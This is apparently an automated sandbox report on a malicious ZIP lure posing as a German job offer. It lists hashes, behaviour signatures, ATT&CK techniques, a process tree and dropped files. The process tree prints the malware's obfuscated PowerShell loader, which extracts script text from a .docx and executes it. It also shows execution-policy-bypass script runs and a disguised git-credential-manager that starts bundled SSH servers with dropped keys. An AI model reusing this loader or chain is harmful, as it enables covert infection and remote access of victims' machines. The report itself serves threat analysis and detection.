c003226edb27fe5ac89d37736d777fa7238df91ab2960c13b6c696116fa1587a

Analysis

user interaction
yes
max time kernel
298s
max time network
303s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
11/08/2026, 03:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Dienstangebot_J_Feldbusch_31-07-26.zip
Size 3.7MB
Sample260811-ecyswacd22
SHA256 c003226edb27fe5ac89d37736d777fa7238df91ab2960c13b6c696116fa1587a
MD5 84fa5abbade737746212020f4d042756
SHA1 706c1a78695f0752004b18efbd5a8a4cc2fbf0a7
SHA512 eb5eae05d865a7a8975b7f2971e291a25786e6721829bd62b217179549f59d23a42b9bcc9a53657dfb5d058b964913ff434763a932069d31257c58ebcb1cd007
SSDEEP 98304:65VBVeDHnWxvfiCf2S0t6FDYWyrHXLn2r63VRKFEWXY9MLqV:657V8WfBfX0tVzf2+3vKDDLqV
TLSH
T17406331AECE2B2BF97842B3F814867097D92F1D8E1B71C3968175B0A59FB450DF96022
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

execution persistence ransomware

Malware Config

Signatures

Executes dropped EXE 20 IoCs

pid	Process
5096	git-credential-manager.exe
4348	git-credential-manager.exe
3928	sshd.exe
4924	ssh.exe
404	git-credential-manager.exe
2552	git-credential-manager.exe
4492	ssh.exe
1068	sshd.exe
4092	ssh.exe
3300	ssh.exe
5016	ssh.exe
396	ssh.exe
3512	ssh.exe
4376	ssh.exe
1228	ssh.exe
4184	ssh.exe
4452	ssh.exe
3632	ssh.exe
1608	ssh.exe
2832	ssh.exe

Loads dropped DLL 16 IoCs

pid	Process
3928	sshd.exe
4924	ssh.exe
4492	ssh.exe
1068	sshd.exe
4092	ssh.exe
3300	ssh.exe
5016	ssh.exe
396	ssh.exe
3512	ssh.exe
4376	ssh.exe
1228	ssh.exe
4184	ssh.exe
4452	ssh.exe
3632	ssh.exe
1608	ssh.exe
2832	ssh.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1452	powershell.exe
4748	powershell.exe
1372	powershell.exe
4872	powershell.exe
864	powershell.exe
1788	powershell.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/5096-184-0x000002064A2B0000-0x000002064A2D6000-memory.dmp	ConfuserEx

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1040	WINWORD.EXE
1040	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
1788	powershell.exe
1788	powershell.exe
4748	powershell.exe
4748	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
1372	powershell.exe
4872	powershell.exe
4872	powershell.exe
4872	powershell.exe
864	powershell.exe
864	powershell.exe
5096	git-credential-manager.exe
5096	git-credential-manager.exe
864	powershell.exe
4348	git-credential-manager.exe
4348	git-credential-manager.exe
1452	powershell.exe
1452	powershell.exe
1452	powershell.exe
2552	git-credential-manager.exe
2552	git-credential-manager.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	5096	git-credential-manager.exe
Token: SeDebugPrivilege	4348	git-credential-manager.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeIncreaseQuotaPrivilege	1452	powershell.exe
Token: SeSecurityPrivilege	1452	powershell.exe
Token: SeTakeOwnershipPrivilege	1452	powershell.exe
Token: SeLoadDriverPrivilege	1452	powershell.exe
Token: SeSystemProfilePrivilege	1452	powershell.exe
Token: SeSystemtimePrivilege	1452	powershell.exe
Token: SeProfSingleProcessPrivilege	1452	powershell.exe
Token: SeIncBasePriorityPrivilege	1452	powershell.exe
Token: SeCreatePagefilePrivilege	1452	powershell.exe
Token: SeBackupPrivilege	1452	powershell.exe
Token: SeRestorePrivilege	1452	powershell.exe
Token: SeShutdownPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeSystemEnvironmentPrivilege	1452	powershell.exe
Token: SeRemoteShutdownPrivilege	1452	powershell.exe
Token: SeUndockPrivilege	1452	powershell.exe
Token: SeManageVolumePrivilege	1452	powershell.exe
Token: 33	1452	powershell.exe
Token: 34	1452	powershell.exe
Token: 35	1452	powershell.exe
Token: 36	1452	powershell.exe
Token: SeIncreaseQuotaPrivilege	1452	powershell.exe
Token: SeSecurityPrivilege	1452	powershell.exe
Token: SeTakeOwnershipPrivilege	1452	powershell.exe
Token: SeLoadDriverPrivilege	1452	powershell.exe
Token: SeSystemProfilePrivilege	1452	powershell.exe
Token: SeSystemtimePrivilege	1452	powershell.exe
Token: SeProfSingleProcessPrivilege	1452	powershell.exe
Token: SeIncBasePriorityPrivilege	1452	powershell.exe
Token: SeCreatePagefilePrivilege	1452	powershell.exe
Token: SeBackupPrivilege	1452	powershell.exe
Token: SeRestorePrivilege	1452	powershell.exe
Token: SeShutdownPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeSystemEnvironmentPrivilege	1452	powershell.exe
Token: SeRemoteShutdownPrivilege	1452	powershell.exe
Token: SeUndockPrivilege	1452	powershell.exe
Token: SeManageVolumePrivilege	1452	powershell.exe
Token: 33	1452	powershell.exe
Token: 34	1452	powershell.exe
Token: 35	1452	powershell.exe
Token: 36	1452	powershell.exe
Token: SeIncreaseQuotaPrivilege	1452	powershell.exe
Token: SeSecurityPrivilege	1452	powershell.exe
Token: SeTakeOwnershipPrivilege	1452	powershell.exe
Token: SeLoadDriverPrivilege	1452	powershell.exe
Token: SeSystemProfilePrivilege	1452	powershell.exe
Token: SeSystemtimePrivilege	1452	powershell.exe
Token: SeProfSingleProcessPrivilege	1452	powershell.exe
Token: SeIncBasePriorityPrivilege	1452	powershell.exe
Token: SeCreatePagefilePrivilege	1452	powershell.exe
Token: SeBackupPrivilege	1452	powershell.exe
Token: SeRestorePrivilege	1452	powershell.exe
Token: SeShutdownPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeSystemEnvironmentPrivilege	1452	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1040	WINWORD.EXE
1040	WINWORD.EXE
1040	WINWORD.EXE
1040	WINWORD.EXE
1040	WINWORD.EXE
1040	WINWORD.EXE
1040	WINWORD.EXE
1040	WINWORD.EXE

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 1788 wrote to memory of 552	1788	powershell.exe	99
PID 552 wrote to memory of 3140	552	csc.exe	100
PID 1788 wrote to memory of 1040	1788	powershell.exe	101
PID 1788 wrote to memory of 4748	1788	powershell.exe	102
PID 4748 wrote to memory of 1372	4748	powershell.exe	107
PID 1372 wrote to memory of 3968	1372	powershell.exe	108
PID 3968 wrote to memory of 3928	3968	csc.exe	118
PID 1372 wrote to memory of 4872	1372	powershell.exe	110
PID 1372 wrote to memory of 5096	1372	powershell.exe	112
PID 1372 wrote to memory of 864	1372	powershell.exe	114
PID 5096 wrote to memory of 4348	5096	git-credential-manager.exe	116
PID 4348 wrote to memory of 3928	4348	git-credential-manager.exe	118
PID 4348 wrote to memory of 4924	4348	git-credential-manager.exe	120
PID 864 wrote to memory of 1452	864	powershell.exe	122
PID 404 wrote to memory of 2552	404	git-credential-manager.exe	125
PID 2552 wrote to memory of 4492	2552	git-credential-manager.exe	127
PID 2552 wrote to memory of 1068	2552	git-credential-manager.exe	128
PID 4348 wrote to memory of 4092	4348	git-credential-manager.exe	131
PID 2552 wrote to memory of 3300	2552	git-credential-manager.exe	133
PID 2552 wrote to memory of 5016	2552	git-credential-manager.exe	135
PID 4348 wrote to memory of 396	4348	git-credential-manager.exe	137
PID 2552 wrote to memory of 3512	2552	git-credential-manager.exe	139
PID 4348 wrote to memory of 4376	4348	git-credential-manager.exe	141
PID 2552 wrote to memory of 1228	2552	git-credential-manager.exe	143
PID 2552 wrote to memory of 4184	2552	git-credential-manager.exe	145
PID 4348 wrote to memory of 4452	4348	git-credential-manager.exe	147
PID 4348 wrote to memory of 3632	4348	git-credential-manager.exe	149
PID 2552 wrote to memory of 1608	2552	git-credential-manager.exe	151
PID 4348 wrote to memory of 2832	4348	git-credential-manager.exe	153

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Dienstangebot_J_Feldbusch_31-07-26.zip
1⤵
PID:2612

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" echo 'Opening document...';1..5|% {$r='([A-Z]:|\\)\$[^:\\]+\$*Dienstangebot_J_Feldbusch_31-07-26(.zip)?';@(sls $r *;sls $r * -en unicode)|select -exp m*|% {gci -r (($_.value -replace [char]0,'') -replace '$(?<!.zip)','\*.docx') -ea SilentlyContinue|% {$d=gc $_;$e=$d|sls $r;$b=[scriptblock]::create($e);& $b}};sleep 1};exit
1⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1788
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zaewkhvm\zaewkhvm.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF69B.tmp" "c:\Users\Admin\AppData\Local\Temp\zaewkhvm\CSCE31B1B26304D4C6BBFEF453B3E7AD54.TMP"
    3⤵
    PID:3140
- C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Dienstangebot_J_Feldbusch_31-07-26.docx" /o ""
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:1040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Roaming\Dienstangebot_J_Feldbusch_31-07-26_Files\deploy.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1372
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\syu0e3pj\syu0e3pj.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3968
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAFE.tmp" "c:\Users\Admin\AppData\Local\Temp\syu0e3pj\CSC183A919C27FA4FB5AB72578EE675492.TMP"
        5⤵
        
        PID:3928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4872
  - - C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe
      "C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5096
    - - C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe" --attach
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4348
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\sshd.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\sshd.exe" -f C:\Users\Admin\AppData\Local\Temp\d1864cd4\sshd_config -D -e
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3928
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\d1864cd4\ssh_config localhost select
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4924
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\d1864cd4\ssh_config localhost select
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4092
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\d1864cd4\ssh_config localhost select
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:396
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\d1864cd4\ssh_config localhost select
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4376
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\d1864cd4\ssh_config localhost select
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4452
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\d1864cd4\ssh_config localhost select
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3632
      - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
        
        "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\d1864cd4\ssh_config localhost select
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -file C:\Users\Admin\AppData\Local\git-credential-manager\Install.ps1
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1452

C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe
"C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:404
- C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe
  "C:\Users\Admin\AppData\Local\git-credential-manager\git-credential-manager.exe" --attach
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config localhost select
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4492
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\sshd.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\sshd.exe" -f C:\Users\Admin\AppData\Local\Temp\b5309fa1\sshd_config -D -e
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1068
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config localhost select
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3300
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config localhost select
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5016
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config localhost select
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3512
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config localhost select
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1228
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config localhost select
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4184
- - C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe
    "C:\Users\Admin\AppData\Local\git-credential-manager\OpenSSH\ssh.exe" -F C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config localhost select
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1608

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

git-credential-manager.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\git-credential-manager.exe.log
Size 1KB
SHA256 4f9ad9cc13d735f9693a81c4eaa3e9c5675c37b238bcaaa6b5b9ea22c4feb462
MD5 9ca0b47b2d4d314d65b68ab4c4072f2d
SHA1 252d16da34f238d32bdb395c7319422f18804658
SHA512 f065c3662ee705201b06fb73f57338165d36f5e31b08c80eed95493007d8a5388cf746b9e2443132efabed286cd291b5710590bd000fa1475950533364882a6e
TLSH
T14311EF7122B1E2E089063F46186C258417FF4318B5A0AE1CBBE8724EE92745B1F323F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 25b47917117af57fdddc37ddc931f3ae0b79c0f80a077f82cc8dec18eb782106
MD5 013539b02858ffd9199c1d5470ec6271
SHA1 1fff5f4dfa46065464a365ca20b38ed184172da1
SHA512 5ff123c5ec95cb26f89ba1024a11d6756e36fa0a7c42f106b742e0c6b1eb197cce8adb23fe24b0af95509222eb8ab966c90462e6d468af23857ea057182a7e2d
TLSH
T1DE71CD313275B0D4C95A7F07192819C063BF4396EA98AF5CB65C521ED92750B9B122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e45a300538a64b520ef86dfe7d9e6c107017ca22218055afaaf1c5fc8ff86554
MD5 301b810d2938f28c364dbe2fe8c0077b
SHA1 d4154e65061d664c74a2da32e725f0730c5e6520
SHA512 a85127d85bd0f0934a4ca46d635224429eccabc2e15748e5957815101f8b78a1faa89e249a3dc0ead2de22b79cdb5b62bd69a02652a002e5a881b9d2a7a6cf46
TLSH
T159218936F39DC921CC8A963F10DCDDA17566E3C780569FEB7FC8C600A14B598CB262A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 c4d652197bdcb6928a6cecb29fd823539c338d9c6fff2dea3acf3ae35ba3e07d
MD5 9f4f63624339ffcd063cc979e4b158d6
SHA1 5678eea2978d4692a9939a8d925ff519b25cfa6a
SHA512 a6417db74c35dd6bc3a35c4bd7fe173130f711937284be02ae719602f0c9ce7fb499bff138e767c82ba0e4f54607d5a99b5f638e393905086a73060da5ee9a42
TLSH
T14E41A937F3DC8AE1C88A813B149D8D5136A6D3D390DA8FDB7B84C508A13F6A9CB21184
MD5 SHA1 SHA512 TLSH

Submit Download

Dienstangebot_J_Feldbusch_31-07-26.docx

Path C:\Users\Admin\AppData\Local\Temp\Dienstangebot_J_Feldbusch_31-07-26.docx
Size 37KB
SHA256 e5506a7c8e86f458aade6604924aff041b7f26c073545c08baa04aedc872d0f5
MD5 eeab4b30470594c68408ea468b8b7eb9
SHA1 9e2f641a8cf99a298806f8cfccd1d411d7f809cd
SHA512 9e41828dc2214c0f8a3a78ad6e92aa23c3262087529150affde00390e3f03556f156830c90100332101f59a05974ea1b2d0ed1a18868f95612d92d317dd8e0e6
SSDEEP 768:FLhSMTW7KnvslyEdY0WROaCRWrY/CGD5uLiNTKUUgGvtfoZ4B0://HnEkEdLWR4r/CGD5uLmdUr6
TLSH
T1AB03F13462575930E8B3DAB2D82DCD96F1F4D244C187338B2C7793AD50FBA9A7D66100
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESAFE.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESAFE.tmp
Size 1KB
SHA256 6b3fd909e2b7951ec65a6be8c5caf87c1355c305cf62bacf9b91e95dacb3b242
MD5 a156b738c88d4e9582250c5de8ba4a28
SHA1 c154caa27b9b937320dca05b2c376b7db83e841d
SHA512 57a5f565d37f167a1efab4c49de2c2bff57c30746c5548545003a24dd831aca7d4216d8eef39e2ff9585bf5c47ae8798ae49070b7a5f706ccf8d2800656ed686
TLSH
T17121890853F8871EF0734B31BAFA176F9268FD61DF62975A984042292C42610DEA1EB2
MD5 SHA1 SHA512 TLSH

Submit Download

RESF69B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF69B.tmp
Size 1KB
SHA256 411aa59929617685e6b051bb780b3238b0551cfa7b6ed312f005045de1f343a4
MD5 cb8fa775e1454e95d40a8065f5bbcbc2
SHA1 16a922db647e42ea009dd907422367f8b903c28f
SHA512 66846a582dd255310ce1150b052709707843cf9a3eddbfc2ca32e1b6a1feca53dfc67a1a3bcbcd61e52d63cd234941cfdf7d6063037cc7344fab69a52c177225
TLSH
T16121CC0553EC470FF1735732AAFA432BA274FE94EFA193AA854042292C51140EEE0AB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_50gqwfom.p3o.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_50gqwfom.p3o.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ssh_config

Path C:\Users\Admin\AppData\Local\Temp\b5309fa1\ssh_config
Size 309B
SHA256 09184e0964731e3e66356e54fae03d9290183ba3bdcfcb9f6e617cfe4350fdac
MD5 d523f6db961ed658be45477c1cbceb0c
SHA1 e0ce3b85c536b40a27bc362a655b8606ead25235
SHA512 54632b046838c3a1ffc7838c854ffb1bdfb3bb8d0fc9c088f92da7279c3bc4fd8d8a4e5e1fb4202fac2c891ff8b5276abfa956ff1b7675509cc74d5c55adc09b
TLSH
T153E07D221E8701143F2C5F8B84D0E04862A518A918932AF17B361F18055691966B33B1
MD5 SHA1 SHA512 TLSH

Submit Download

sshd_config

Path C:\Users\Admin\AppData\Local\Temp\b5309fa1\sshd_config
Size 477B
SHA256 c4256b45c10902c3d4cb6f0ca8a3efab794b9c4afb45ad16c7c6c8d7f6672d35
MD5 97b87d39e5f5de3cf9d6ea5bd8fa9ea6
SHA1 b0d4644a5c18b2c3b756e22eee4ca22376ffbec2
SHA512 d81696de29739aa07aab7d353b1831cca1cb456db996a92988affa39ceb702d2b7b267820022fcc7a01ee7a42ad734f4335e20c550d9cafba656a9daac8c44e0
TLSH
T15CF027538BE7C61D1A8CE16F45B5B569C1E58C5C3A973B311728CC1C928782EB7C3325
MD5 SHA1 SHA512 TLSH

Submit Download

client_key

Path C:\Users\Admin\AppData\Local\Temp\d1864cd4\client_key
Size 2KB
SHA256 5dca70f08fd3e3c177adc7863569df105f780a829914991e9812c39f6e2ff9a8
MD5 9edc83c2cfdcd93a5b72c2380f3a362e
SHA1 d9c38a34d7436682d1a1d76fb581b17117273a96
SHA512 8972222d2a8c22deb240b25e5437722f92b63f13555493fd11fe4bd8ade6915f1c140e26dc5ef69d0938b88ae514e581281bb2b31e8b6c0d35e96b1961872762
TLSH
T1C8513C336AD1945F39B6A5CA0B93176ABFA42BD30E54407588B924517DBE873CC2FC34
MD5 SHA1 SHA512 TLSH

Submit Download

host_key

Path C:\Users\Admin\AppData\Local\Temp\d1864cd4\host_key
Size 2KB
SHA256 4a2bb90f59c6a1c299d87416147a93e1c59d778dadb7c16c8d4ed3c065fb6b4d
MD5 f99472c66b4c6eb7c9a45c7377a25657
SHA1 fddd65452204ba21f4be89dc85f73953f70f0cee
SHA512 c138e700d11360cccf6489233f7251b62e157683c53151dc47e2f45118359a02c009e5d2d311301c9eff71e97630d465bb8ee6fc8ed5078b81caaba335b865f7
TLSH
T127512BBA992F7D02A53B9A084C01D075DD77D83357BCA2A4267B89523731EA54B6C091
MD5 SHA1 SHA512 TLSH

Submit Download

ssh_config

